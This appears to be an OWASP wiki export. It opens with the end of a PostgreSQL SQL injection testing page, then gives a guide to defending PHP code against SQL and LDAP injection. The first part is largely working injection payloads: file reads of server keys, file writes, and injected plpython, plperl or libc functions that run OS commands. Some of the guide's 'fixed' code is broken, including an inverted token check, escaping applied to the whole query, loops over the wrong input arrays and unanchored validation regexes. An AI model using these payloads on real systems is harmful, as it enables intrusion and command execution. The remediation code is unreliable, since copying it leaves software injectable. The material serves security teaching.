/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--<br />
</nowiki><br />
<br />
'''pg_read_file():'''<br />
<br />
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside<br />
DBMS data directory.<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well<br />
<br />
<nowiki><br />
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--<br />
</nowiki><br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.<br />
<br />
* Check if PL/perl-untrusted has been enabled:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'<br />
* If not assuming that sysadm has allready installed plperl package try :<br />
*: ''CREATE LANGUAGE plperlu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki><br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
<br />
= References =<br />
<br />
OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection<br />
<br />
Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/<br />
<br />
PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/<br />
<br />
= Tools =<br />
<br />
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=34725OWASP Backend Security Project PHP Security Programming2008-07-25T20:10:53Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
PHP developer should be aware about threats that can be exposed on vulnerable PHP code. To this aims we're going to address two of them in the following sections:<br />
* SQL Injection <br />
* LDAP Injection<br />
<br />
Since both of them are well known attacks vectors we're going to address some valid techniques to defend against:<br />
* Escaping Quotes on both input parameters and HTTP Request Header<br />
* Usage of Prepared Statements to query backend DBMS<br />
* Data Validation<br />
* Safe error handling<br />
<br />
But that's not all. Since a backend datastore should be accessed though a authentication developer should be aware on where to store<br />
such a ''access credentials'' as well.<br />
<br />
Recent research activities has shown that is possible to detect intrusion attempts from a WEB Application by embedding an ''Application Layer IDS'' inside your application. <br />
<br />
== SQL Injection ==<br />
<br />
Here follows a tipical Login Form where users credentials are stored on a Backend DBMS. To successfull validate user credentials an authenticated connection to Backend DBMS is needed. Application developer decided to store the Database Connection String parameters in a ''.inc'' file as shown in the example:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
'''Vulnerability'''<br />
<br />
* ''SQL Injection''<br />
*: by using some inference techniques it's possible to enumerate a backend Database and even worst it could be possible to interact with underlying operating system<br />
* ''Authentication Bypass''<br />
*: by exploiting a SQL Injection vulnerability Authentication an evil user can bypass authentication by suppliying :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* ''Information Disclosure''<br />
*: ''db.inc'' contents could be retrieved by an evil user<br />
<br />
<br />
'''Remediation'''<br />
* ''Make .inc unavailable to remote user''<br />
*: As we'll see it's possible to avoid ''.inc'' file retrieval from a remote user<br />
* ''Escaping Quotes''<br />
*: when evil users supplies <nowiki>username ' OR 1=1 # </nowiki> quotes should be escaped in such in <nowiki>username \' OR 1=1 # </nowiki><br />
* ''Prepared Statements''<br />
*: Prepared Statements prevents SQL Injection attacks by giving to the backend DBMS an execution plan of a query where parameters are replaced by variables. Variables will be instantiated with values and query will be executed. Since running an execution plan with parameters containing SQL Expressions, Operators or statements fails, we can get ride of Injection.<br />
* ''Data Validation''<br />
*: Input parameters should be validated in both data type and value. Developers should be aware that PHP is not a strongly type language. Everything it's a string when talking about Input Parameters and Headers.<br />
* ''Embedd an Application Layer IDS''<br />
*: PHPIDS it's a promising Open Source Project well mantained and with interesting features. An optimazed RegExp engine can be embedded in your PHP code to analyze input parameter in order to determine if ther contains a known attack vecto. Benchmark performed by project developers shows that there is no performance penality at all.<br />
<br />
<br />
As you can see there are many way to protect your PHP Code against SQL Injection Attack vectors. Wich ones to use is up to you by the way as stated by the ''Security in Depth'' it would be great to use all of them.<br />
<br />
== LDAP Injection ==<br />
<br />
Here follows a tipical Login Form where users credentials are stored on a Backend LDAP Directory. To successfull validate user credentials an authenticated connection to Backend DBMS is needed. Application developer decided to store the LDAP Connection String parameters in a .inc file as shown in the example: <br />
<br />
'''ldap.inc:'''<br />
<nowiki><br />
<?php<br />
define(LDAP_DIRECTORY_ADMIN , "cn=admin,dc=domain,dc=com");<br />
define(LDAP_DIRECTORY_PASS , "pw$d0");<br />
define(LDAP_USER_BASEDN , "ou=Users,dc=domain, dc=com");<br />
?><br />
</nowiki><br />
<br />
<br />
'''auth.php:'''<br />
<nowiki><br />
include('ldap.inc');<br />
<br />
function authLdap($sUsername, $sPassword) {<br />
$ldap_ch=ldap_connect("localhost"); <br />
<br />
if (!$ldap_ch) {<br />
return FALSE;<br />
}<br />
<br />
$bind = ldap_bind($ldap_ch, LDAP_DIRECTORY_ADMIN, LDAP_DIRECTORY_PASS);<br />
<br />
if (!$bind) {<br />
return FALSE;<br />
}<br />
<br />
$sSearchFilter = "(&(uid=$sUsername)(userPassword=$sPassword))";<br />
$result = ldap_search($ldap_ch, " dc=domain,dc=com", $sSearchFilter);<br />
<br />
if (!$result) {<br />
return FALSE;<br />
}<br />
<br />
$info = ldap_get_entries($ldap_ch, $result);<br />
<br />
if (!($info) || ($info["count"] == 0)) {<br />
return FALSE;<br />
}<br />
<br />
return TRUE;<br />
<br />
}<br />
<br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
</nowiki><br />
<br />
<br />
'''Vulnerability'''<br />
<br />
* ''Authentication Bypass''<br />
*: by exploiting a LDAP Injection vulnerability evil user can bypass authentication by suppliying username ''*'' and password ''*''<br />
* ''Information Disclosure''<br />
*: ''ldap.inc'' contents could be retrieved by an evil user<br />
<br />
<br />
'''Remediation'''<br />
* ''Make .inc unavailable to remote user''<br />
*: As we'll see it's possible to avoid ''.inc'' file retrieval from a remote user<br />
* ''Authenticate Users through LDAP Bind''<br />
*: Since LDAP define a BIND method which requires a valid user credential we can use ''ldap_bind()'' rather than setting up a complex machinery with ''ldap_search()''<br />
* ''Data Validation''<br />
*: Input parameters should be validated in both data type and value. Developers should be aware that PHP is not a strongly type language. Everything it's a string when talking about Input Parameters and Headers.<br />
* ''Embedd an Application Layer IDS''<br />
*: PHPIDS it's a promising Open Source Project well mantained and with interesting features. An optimazed RegExp engine can be embedded in your PHP code to analyze input parameter in order to determine if ther contains a known attack vecto. Benchmark performed by project developers shows that there is no performance penality at all.<br />
<br />
<br />
<br />
As you can see there are many way to protect your PHP Code against LDAP Injection Attack vectors. Wich ones to use is up to you by the way as stated by the ''Security in Depth'' it would be great to use all of them.<br />
<br />
= Description =<br />
<br />
This section will address developement methodologies to prevents attacks such as:<br />
* SQL Injection<br />
* LDAP Injection<br />
<br />
<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
PHP Applications interact with Backend DBMS by using the ''old connectors style'' (eg: mysql_connect(), mysql_query(), pg_connect() and so on) or the recent ''Portable Data Objects Layer'', form here on refered as ''PDO''. ''PDO'' has been introduced in PHP starting from ''5.1'', it represents an ''Abstract Database Layer'' lying between PHP and Backend DBMS. It mean's that it's possible to back-point an exesting application to use a different DBMS by just changing a connection string. To this aim it adopts a modular architecture with low-level driver to handle different DBMS. Be aware that at the moment of writing it's ''Oracle Drive'' is marked as experimental, so it's not well supported.<br />
<br />
Differente techniques to prevents SQL Injection in PHP will be shown in following sections. Since every Backend DBMS shall require authentication to PHP Code let's start by showing how to safely store such a credentials.<br />
<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
Developers should be very carefull on how, and subsequently where, store authentication credentials to authenticate against backend DBMS before start to query. It's tipical to put such credentials in a ''.inc'' file (by using some ''define'') to subsequenlty include credentials from a PHP Code. Such a ''.inc'' file if left world wide readable by both local users and web server ''uid'' can be easly retrieve by an evil user. There are some techniques to be used to prevents this kinds of ''Information Disclousure'':<br />
<br />
* Configure Front-End Apache WEB Server to deny serving request to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
:''requires user intervention on Apache configuration!''<br />
<br />
<br />
* Adding a security token check from ''.inc'' <br />
<nowiki><br />
<?php<br />
<br />
if (defined('SECURITY_INCLUDE_TOKEN') && SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
/* Define a security token to access DBMS_CONNECTION_STRING */<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* configuring ''php_ini'' settings in apache to set some default values to mysql_connect()<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host 127.0.0.1<br />
php_value mysql.default_user owaspuser<br />
php_value mysql.default_password owasppassword<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
*: some DBMS doesn't allow to retrieve connection parameters from apache config file<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?> </nowiki><br />
: ''at the moment of write it only works when backend Database Engine is MySQL''<br />
<br />
<br />
* using Apache SetEnv <br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv DBHOST "127.0.0.1"<br />
SetEnv DBUSER "owaspuser"<br />
SetEnv DBPASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect(getenv("DBHOST"),<br />
getenv("DBUSER"),<br />
getenv("DBPASS"));<br />
}<br />
?><br />
<br />
<br />
</nowiki><br />
: ''requires user intervention on Apache configuration''<br />
<br />
<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv PDO_DSN "mysql:host=localhost;dbname=owasp"<br />
SetEnv PDO_USER "owaspuser"<br />
SetEnv PDO_PASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function SQLConnect() {<br />
$oPdo = NULL;<br />
try {<br />
$oPdo = new PDO(getenv("PDO_DSN"),<br />
getenv("PDO_USER"),<br />
getenv("PDO_PASS"));<br />
<br />
/* Throws an exception when subsequent errors occour */<br />
$oPdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br />
<br />
/* handle PDO connection success */<br />
...<br />
...<br />
return $oPdo;<br />
} catch (PDOException $e) {<br />
/* handle PDO connection error */<br />
...<br />
...<br />
return NULL;<br />
}<br />
} <br />
?><br />
<br />
<br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
As shown on previous sections quotes shall be escaped in some way. PHP came to you with ''magic_quotes_gpc'' configuration directive.It's aim is to escape quotes from HTTP Request by examing both GET/POST data and Cookie value and replacing every ''single quotes'' with ''\'''. The truth is that any other data contained into the HTTP Request Header is not escaped.<br />
<br />
Let'say a PHP Application access the User-Agent Header to perform a statistic on browser used by users to navigate sites. Sinche ''magic_quotes_gpc'' doesn't escape such a header value it's possible to create a custom HTTP Request containing evil characters to SQL Inject remote PHP Code. Last but not least it isn't portable on every DBMS as well. For example Microsoft SQL Server use a differente Quote Escape. <br />
<br />
Due to the above issues it's usage is strongly discouraged. Since it's enabled on WEB Server developers should:<br />
* check if enabled<br />
* if so: request shall be rollbacked to it's original<br />
<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
Quote Escaping shall be performed with DBMS related functions such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php);<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
PHP Portable Data Objects implements a quote() method on PDO class but it's worst noticing that not all underlying PDO Drivers implements this method. On the other side ''PDO::query()'' method by defualt escape quotes on SQL query string as shown in following example.<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName=NULL;<br />
if ($oPdo = SQLConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
try {<br />
$row = $oPdo->query($query)->fetch();<br />
if ($row) {<br />
return $row['username'];<br />
} <br />
} catch (PDOException e) {<br />
/* handle execption and SQL Injection Attempt */<br />
....<br />
....<br />
return NULL;<br />
} <br />
}<br />
<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
Escaping Quotes is not enough to prevent SQL Injection Attacks. Even if works well on login forms it doesn't give you a complete security defence agains SQL Injection Attacks sinche Quote Escape functions can still be evaded by encoding chars to theire ASCII decimal value. Further defence are needed:<br />
* Prepared Statements<br />
* Data Validation<br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If supplied parameters are of incorrect type or contains a nested query the execution of plan will fails. This prevents an evil user to successfully inject SQL Statements on Backend DBMS.<br />
<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
PHP Portable Data Objects emulate prepared statements for drivers with no natively supports. Here follows an example of prepared statements usage with PHP PDO<br />
<br />
<br />
'''Example using PDO:'''<br />
<nowiki><br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$oPdo = SQLConnect();<br />
<br />
if ($oPdo) {<br />
$stmt = $oPdo->prepare("SELECT * FROM books WHERE ID =?");<br />
$stmt->bindParam(1, $id, PDO::PARAM_INT);<br />
if ($smmt->execute()) {<br />
$aBook = $stmt->fetch(PDO::FETCH_ASSOC);<br />
}<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
</nowiki><br />
<br />
Prepared statements rapresent a valid defence agains SQL Injection attacks. But it's still not enough since they allow an evil user to inject session variable such as ''@@version'':<br />
* <nowiki>http://www.example.com/news.php?id=@@version</nowiki><br />
<br />
Data Validation techniques helps developers to prevents SQL Injection Attacks when properly used.<br />
<br />
=== Data Validation ===<br />
<br />
Modern WEB Applications are supposed to interacts with users throught input data. Input data can be supplied through a HTML Form and WEB Application retrieves such a data through a GET/POST variable. Input data can contains malicious values to exploit some<br />
security flaws in WEB Applications. As a general rule data validation should be performed on both input and output values, since they both depends on each other. data should be rejected unless it matches a criteria. Developers should define a restriced range for valid data and reject everything else. Such a criteria will include:<br />
* Data Type <br />
* Data Length;<br />
* Data Value <br />
<br />
A typical Data Validation workflow will be:<br />
* Get the data to be validated<br />
* Check if it should be a numerical or string <br />
* Look at it's size in byte to avoid errors when database table columns has some constraint in value size<br />
* Check if data contains a valid value (EMail, phone number, date, and so on).<br />
<br />
To this aims PHP can help developers with :<br />
* casting operators<br />
* regexp functions<br />
<br />
<br />
<br />
'''Numeric Data'''<br />
<br />
PHP is not a strongly typed languages it means that every input data is a string by default. If you want to validate a numeric value you should casting operator. Casting an input data to ''int'' ensure that:<br />
<br />
* if data is numeric you get its value<br />
* if data doesn't contains a number casting will returns 0<br />
* if data includes a number casting will returns its numeric portion<br />
<br />
'''Example'''<br />
<br />
<nowiki><br />
...<br />
$iId = (int)$_GET['id'];<br />
if ( $iId != $_GET['id']) {<br />
/* User supplied data is not numeric, handle exception */<br />
...<br />
return;<br />
} <br />
<br />
if ($iId > MAX_ID_VALUE || $iId < MIN_ID_VALUE) {<br />
/* User supplied data is numerica but it doesn't contains an allowed value, handle exception */<br />
<br />
}<br />
<br />
/* $iId is safe */<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
''' String Data'''<br />
<br />
Strings data validation is a bit tricker since it can contains malicious values. It means that it should be validated<br />
on what data is supposed to include. Data can contains:<br />
* EMail Address<br />
* Phone Number<br />
* URL<br />
* Name<br />
* Date<br />
<br />
and so on.<br />
<br />
To this aim WEB Developers should match Input Data against a Regular Expression to match what Data is supposed to inclues.<br />
Here follows some example.<br />
<br />
'''Example: Validating an Email Address'''<br />
<br />
<nowiki><br />
...<br />
$sEmail = $_POST['email'];<br />
if (! preg_match("/^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}$/", $sEmail)) {<br />
/* User supplied data is not a valid email address, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sEmail is safe, check len */<br />
<br />
if (strlen($sEmail) > MAX_EMAIL_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
<br />
</nowiki><br />
<br />
<br />
'''Example: Validating an Italian Phone Number '''<br />
<nowiki><br />
...<br />
$sPhoneNumber = $_POST['phonenumber'];<br />
<br />
if (! preg_match(, "/[0-9]+[-\/ ]?[0-9]+$/", $sPhoneNumber)) {<br />
/* User supplied data is not a phone number, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sPhoneNumber is safe, check len */<br />
<br />
if (strlen($sPhoneNumber) > MAX_PHONENUMBER_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
</nowiki><br />
<br />
<br />
If you don't want to get frustrated with all those regexp take into considerations to use one of the following PHP Filters:<br />
* OWASP PHP Filters<br />
*: OWASP PHP Filters project allow programmers an easy way to perform data validation. Even if project is quite old and not <br />
well mantained it's still well working and defines a valid approach to performa Data Validation.<br />
* PHP Data Filtering<br />
*: Available from PHP installation<br />
<br />
=== Logging Errors ===<br />
<br />
Malicious users typicaly attempt to explot SQL Injection Vulnerabilities by looking at some Error Codes on dynamic pages.<br />
When PHP fails to query Backend Database an error message will be returned to users if error are not handled on a safe way.<br />
WEB Developers uncorrectly debug SQL Errors by displaying some kind of error message on WEB Page when query fails. This approach should not be considered safe since Errors should never be displayed to users.<br />
<br />
Users should also never deduce that something wrong happens otherwise it could be considered a flaw to further more exploits a vulnerability. To this aim we're going to how to safely handle errors.<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function sql_error_handler ($sQuery, $sMsg) {<br />
/* Log failed SQL Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/sqlquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
Before of applying an Error Log Handler, such as the above, be sure to audit every function return values to avoid error propagation.<br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication ===<br />
<br />
As previously states LDAP Authentication in PHP should be handled with ''ldap_bind()'' functin in such a way:<br />
<br />
<nowiki> <br />
function authLdap($sUsername, $sPassword) {<br />
$ldap_ch=ldap_connect("ldap://localhost"); <br />
<br />
if ($ldap_ch) {<br />
<br />
$ldap_user = "uid=$sUsername, ou=Utenti, dc=domain, dc= com";<br />
$ldap_password = $sPassword;<br />
<br />
$bind = @ldap_bind($ldap_ch, $ldap_user, $ldap_password);<br />
<br />
return $bind;<br />
<br />
}<br />
<br />
return FALSE;<br />
<br />
}<br />
<br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
<br />
</nowiki><br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
Whenever a Backend Directory Server shall not be used to authenticate user is good practice not to query with an ''anonymous bind''. Doind so you need a safe way to store LDAP Bind access credentials. The same techniques of previous section shall be used as well.<br />
<br />
<br />
=== Data Validation ===<br />
<br />
Data Validation occours on the same way as in PHP Preventing SQL Injection. Here follows previous LDAP Login Form example with data validation, where both ''username'' and ''password'' are allowed to contains only alfa numeric values.<br />
<br />
<nowiki><br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
if (! preg_match("/[a-zA-Z0-9]+$/", $username) {<br />
/* username doesn't contains valid characters, handle exception */<br />
..<br />
..<br />
return;<br />
}<br />
<br />
if (! preg_match("/[a-zA-Z0-9]+$/", $password) {<br />
/* password doesn't contains valid characters, handle exception */<br />
..<br />
..<br />
return;<br />
}<br />
<br />
<br />
<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
